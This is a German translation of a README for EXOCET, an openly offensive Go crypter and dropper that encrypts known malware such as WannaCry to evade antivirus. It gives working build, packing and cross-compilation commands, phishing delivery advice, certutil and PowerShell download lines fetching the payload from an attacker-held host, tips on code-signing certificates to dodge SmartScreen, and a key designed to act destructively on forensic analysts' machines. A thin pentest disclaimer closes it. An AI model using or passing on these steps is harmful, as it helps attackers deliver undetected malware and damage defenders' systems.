EXOCET - AV-umgehendes, nicht erkennbares Payload-Auslieferungswerkzeug
Chang Tan
AWS Certified Cloud Practitioner und Solutions Architect Associate
[email protected]
Stellen Sie sicher, dass Sie Ihre Payloads packen, um Lecks des Crypters-Schlüssels zu vermeiden und Malware-Analysten weiter zu frustrieren. Ein kommerzieller High-End-Packer wie Themida ist NICHT erforderlich. Es würde ohne ein Code-Signing-Zertifikat noch mehr Verdacht erregen. Ohne Code-Signing-Zertifikat wird auf Windows-Systemen automatisch SmartScreen ausgelöst. Dies gilt für alle potenziell unerwünschten Programme oder „PUPs“, d. h. alle Malware-Payloads, Beacons, Geacons, Remote-Access-Trojaner usw. erfordern ein Code-Signing-Zertifikat. Ihr Geld ist besser für den Kauf eines Code-Signing-Zertifikats ausgegeben als für einen High-End-Packer.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Dann liefern Sie den Payload auf Ihr Ziel aus. Verwenden Sie dazu etwas wie eine Phishing-E-Mail, einen Link, oder wenn Sie bereits Shell-Zugriff haben, liefern Sie ihn aus, indem Sie z. B. Ihren eigenen Server lokal hosten
python -m http.server 80'
und führen Sie dann auf dem kompromittierten Rechner an einer PowerShell-Eingabeaufforderung aus:
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
oder
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
und führen Sie dann mit outputmalware.exe aus
EXOCET ist den Modulen „Evasive Payloads“ von Metasploit überlegen, da EXOCET AES-256 im GCM-Modus (Galois/Counter Mode) verwendet. Metasploits Evasion Payloads verwendet eine leicht erkennbare RC4-Verschlüsselung. Während RC4 schneller entschlüsseln kann, ist es bei AES-256 wesentlich schwieriger, die Absicht der Malware zu ermitteln.

Es ist jedoch möglich, Metasploit zu verwenden, um einen Evasive Payload zu erstellen und diesen dann mit EXOCET zu verketten. EXOCET entschlüsselt dann mit AES-256, und der Metasploit Evasive Payload entschlüsselt sich selbst von RC4.
Ähnlich wie mein vorheriges Projekt DarkLordObama ist dieses Toolkit als Auslieferungs-/Startfahrzeug konzipiert, ähnlich wie Veil-Evasion.
EXOCET ist jedoch nicht auf eine einzelne Codebasis oder Plattformen beschränkt, die Python ausführen. EXOCET funktioniert auf ALLEN unterstützten Plattformen und Architekturen, die Go unterstützt.
EXOCET ist im Wesentlichen ein Malware-Dropper vom Crypter-Typ, der leicht erkennbare Payloads wie WannaCry recyceln, sie mit AES-GCM (Galois/Counter Mode) verschlüsseln kann, was sicherer ist als AES-CBC, und dann eine Dropper-Datei für die meisten Architekturen und Plattformen erstellt.
Grundsätzlich...
Das bedeutet 32-Bit- und 64-Bit-Architekturen, und es funktioniert unter Linux, Windows, Macs, Unix, Android, iPhone usw. Sie nehmen alles – und ich meine ALLES – wie den Morris-Wurm von 1988, der fast das Internet lahmgelegt hat (der eine Schwachstelle im fingerd-Listener-Daemon auf UNIX ausnutzte), und machen es wieder zu einer brauchbaren Cyberwaffe.
EXOCET ist vollständig in Go geschrieben.
EXOCET benötigt unabhängig von der verwendeten Binärdatei Golang zur Ausführung. Standardmäßig wird eine Crypter-.go-Datei generiert.
sudo apt-get update && sudo apt-get install -y golang ausgo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Ein Schlüssel wird automatisch für Sie generiert. Der Schlüssel ist 64 Zeichen lang und besteht vollständig aus Bash- und cmd.exe-Shell-Pipe-Umleitungen, um Brute-Force-Versuche gegen den Schlüssel zu verwirren und zu stören, indem unvorhersehbares, zerstörerisches Verhalten auf dem Gerät des forensischen Analysten verursacht wird.
Für 64-Bit-Windows-Ziele...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
Und es entsteht eine outputmalware.exe-Datei
Für 64-Bit-MacOS-Ziele
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Für 64-Bit-Linux-Ziele
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Siehe diese Referenz auf GitHub für Ihre Parameter für andere Betriebssysteme wie Android: Referenz für Go Cross-Kompilierung
Beachten Sie, dass der Schlüssel immer noch mit dem Befehl strings gefunden werden kann. Bitte verwenden Sie den Befehl upx-ucl, um die Binärdatei zu packen und den Schlüssel zu verbergen.
Darüber hinaus gibt es vorgefertigte Binärdateien, die ich erstellt habe, so dass Sie nur ./EXOCET oder EXOCET-Windows.exe ausführen müssen.
Ich, Chang Tan, und die Ersteller des Hauptmoduls und der Untermodule von Exocet sowie der darin enthaltenen Pakete sind NICHT verantwortlich für den Missbrauch dieses Tools. Dies ist lediglich ein Penetrationstest-Werkzeug. Es ist Ihnen strengstens untersagt, Exocet-Ausgabebinärdateien gegen unberechtigte geschützte Systeme oder unberechtigte geschützte Regierungssysteme einzusetzen.
Mir ist bewusst, dass Bedrohungsakteure der APT41 und der NSO Group Code aus diesem Tool verwendet und/oder übernommen haben, insbesondere die go-memexec-Methode. Sollte ich von Bundesermittlern bezüglich des Missbrauchs dieses Tools kontaktiert werden, übernehme ich keine Verantwortung.
Dies ist das Gleiche, was den Entwicklern von Mimikatz und PowerShell Empire widerfahren ist (die ihre eigene Entwicklung eingestellt haben, als ihnen die Nutzung durch Bedrohungsakteure bewusst wurde). Die Nachfolger haben die Entwicklung von Empire übernommen, und es gibt kostenlose Alternativen wie Covenant C2.
Am 4. Mai 1982, während des Falklandkriegs, startete eine Staffel argentinischer Super Etendards eine französische Exocet-Rakete auf die HMS Sheffield. Trotz der Versuche der Royal Navy, die Rakete zu stoppen, traf eine, die Sheffield versenkte. Dieser Vorfall brachte Argentinien buchstäblich auf die Landkarte als Machtdemonstration gegen eine globale Kolonialmacht.